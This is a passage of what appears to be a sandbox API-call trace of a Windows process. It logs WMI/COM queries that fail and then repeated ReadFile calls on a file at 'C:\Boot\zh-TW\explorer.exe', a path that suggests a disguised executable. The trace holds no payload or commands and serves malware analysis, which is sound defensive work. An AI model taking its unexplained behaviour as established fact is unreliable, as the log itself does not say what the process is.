Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d7dd210 | out: ppvObject=0x1d7dd210*=0x0) returned 0x80004002 [0181.216] IUnknown:QueryInterface (in: This=0x1b3bd1e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d7dcde8 | out: ppvObject=0x1d7dcde8*=0x0) returned 0x80004002 [0181.936] WbemLocator:IUnknown:AddRef (This=0x1b3516c8) returned 0x3 [0181.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d7dcca8 | out: ppvObject=0x1d7dcca8*=0x0) returned 0x80004002 [0181.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d7dcc30 | out: ppvObject=0x1d7dcc30*=0x0) returned 0x80004002 [0181.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dcc20 | out: ppvObject=0x1d7dcc20*=0x1b3515a8) returned 0x0 [0181.936] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3515a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d7dcc48 | out: pCid=0x1d7dcc48*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0181.936] WbemLocator:IUnknown:Release (This=0x1b3515a8) returned 0x3 [0181.936] CoGetContextToken (in: pToken=0x1d7dccd0 | out: pToken=0x1d7dccd0) returned 0x0 [0181.936] CoGetContextToken (in: pToken=0x1d7dd150 | out: pToken=0x1d7dd150) returned 0x0 [0181.937] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd210 | out: ppvObject=0x1d7dd210*=0x1b351690) returned 0x0 [0181.937] WbemLocator:IRpcOptions:Query (in: This=0x1b351690, pPrx=0x1b3516c8, dwProperty=2, pdwValue=0x1d7dd200 | out: pdwValue=0x1d7dd200) returned 0x80004002 [0181.937] WbemLocator:IUnknown:Release (This=0x1b351690) returned 0x3 [0181.937] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x2 [0181.937] CoGetContextToken (in: pToken=0x1d7dd810 | out: pToken=0x1d7dd810) returned 0x0 [0181.937] CoGetContextToken (in: pToken=0x1d7dd710 | out: pToken=0x1d7dd710) returned 0x0 [0181.937] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x1d7dd870*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d7dd840 | out: ppvObject=0x1d7dd840*=0x1b3bd1e0) returned 0x0 [0181.937] IUnknown:AddRef (This=0x1b3bd1e0) returned 0x4 [0181.937] IUnknown:Release (This=0x1b3bd1e0) returned 0x3 [0181.937] IUnknown:Release (This=0x1b3bd1e0) returned 0x2 [0181.937] IUnknown:Release (This=0x1b3bcdf0) returned 0x2 [0181.937] SysStringLen (param_1=0x0) returned 0x0 [0181.938] IEnumWbemClassObject:Reset (This=0x1b3bd1e0) returned 0x0 [0182.612] CoTaskMemAlloc (cb=0x8) returned 0x524750 [0182.613] IEnumWbemClassObject:Next (in: This=0x1b3bd1e0, lTimeout=-1, uCount=0x1, apObjects=0x524750, puReturned=0x2a00150 | out: apObjects=0x524750*=0x0, puReturned=0x2a00150*=0x0) returned 0x80042302 [0189.376] CoTaskMemFree (pv=0x524750) [0189.380] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1d7ddd30 | out: pperrinfo=0x1d7ddd30*=0x1b348b18) returned 0x0 [0189.380] IUnknown:QueryInterface (in: This=0x1b348b18, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dda88 | out: ppvObject=0x1d7dda88*=0x0) returned 0x80004002 [0189.381] IErrorInfo:GetSource (in: This=0x1b348b18, pBstrSource=0x1d7ddb20 | out: pBstrSource=0x1d7ddb20*="WinMgmt") returned 0x0 [0189.382] IErrorInfo:GetDescription (in: This=0x1b348b18, pBstrDescription=0x1d7ddb18 | out: pBstrDescription=0x1d7ddb18*="") returned 0x0 [0189.382] IErrorInfo:GetHelpFile (in: This=0x1b348b18, pBstrHelpFile=0x1d7ddb28 | out: pBstrHelpFile=0x1d7ddb28*=0x0) returned 0x0 [0189.382] IErrorInfo:GetHelpContext (in: This=0x1b348b18, pdwHelpContext=0x1d7ddb30 | out: pdwHelpContext=0x1d7ddb30*=0x0) returned 0x0 [0189.382] IErrorInfo:GetGUID (in: This=0x1b348b18, pGUID=0x1d7ddb34 | out: pGUID=0x1d7ddb34*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7))) returned 0x0 [0189.382] IUnknown:QueryInterface (in: This=0x1b348b18, riid=0x7ffa5f059b30*(Data1=0x82ba7092, Data2=0x4c88, Data3=0x427d, Data4=([0]=0xa7, [1]=0xbc, [2]=0x16, [3]=0xdd, [4]=0x93, [5]=0xfe, [6]=0xb6, [7]=0x7e)), ppvObject=0x1d7dda80 | out: ppvObject=0x1d7dda80*=0x0) returned 0x80004002 [0189.382] IUnknown:Release (This=0x1b348b18) returned 0x0 [0189.385] SysStringLen (param_1="") returned 0x0 [0189.385] SysStringLen (param_1="WinMgmt") returned 0x7 [0189.396] CoGetContextToken (in: pToken=0x1d7d9e90 | out: pToken=0x1d7d9e90) returned 0x0 [0189.396] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0189.396] IUnknown:Release (This=0x1b3bd1e0) returned 0x0 [0189.398] CoGetContextToken (in: pToken=0x1d7d9e90 | out: pToken=0x1d7d9e90) returned 0x0 [0189.398] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0189.398] IUnknown:Release (This=0x1b3bcdf0) returned 0x0 [0189.401] CoUninitialize () Thread: id = 292 os_tid = 0x870 [0174.152] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0174.152] RoInitialize () returned 0x1 [0174.152] RoUninitialize () returned 0x0 [0174.160] CoUninitialize () Thread: id = 293 os_tid = 0x111c [0174.507] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0174.507] RoInitialize () returned 0x1 [0174.507] RoUninitialize () returned 0x0 [0174.860] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1dcdd4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0174.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dcdd990) returned 1 [0174.860] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x880 [0174.861] GetFileType (hFile=0x880) returned 0x1 [0174.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dcdd900) returned 1 [0174.861] GetFileType (hFile=0x880) returned 0x1 [0174.861] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.862] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.862] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.862] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.863] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.864] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.865] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.866] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.867] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.868] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.869] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.870] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.871] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.871] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.871] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.872] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.872] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.872] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.872] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, lpOverlapped=0x0) returned 1 [0174.872] ReadFile (in: hFile=0x880, lpBuffer=0x289f978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dcdda18, lpOverlapped=0x0 | out: lpBuffer=0x289f978*, lpNumberOfBytesRead=0x1dcdda18*=0x1000, 